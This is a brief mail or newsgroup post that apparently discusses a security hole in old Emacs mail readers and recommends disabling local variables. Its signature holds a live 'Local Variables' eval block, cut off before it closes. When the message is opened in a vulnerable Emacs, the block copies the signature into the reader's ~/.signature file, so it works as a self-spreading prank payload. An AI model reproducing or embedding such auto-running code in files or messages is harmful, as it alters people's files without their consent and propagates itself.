It is.  Really old versions of GNUS and RMAIL had such a security

In any case, this gives me an excuse for dusting of my old signature.

Consider adding "(setq inhibit-local-variables t)" to your ".emacs"
file.

Local Variables:
eval: (save-excursion

         (search-backward (concat "Consider " "adding"))
         (append-to-file (point) (point-max) "~/.signature")
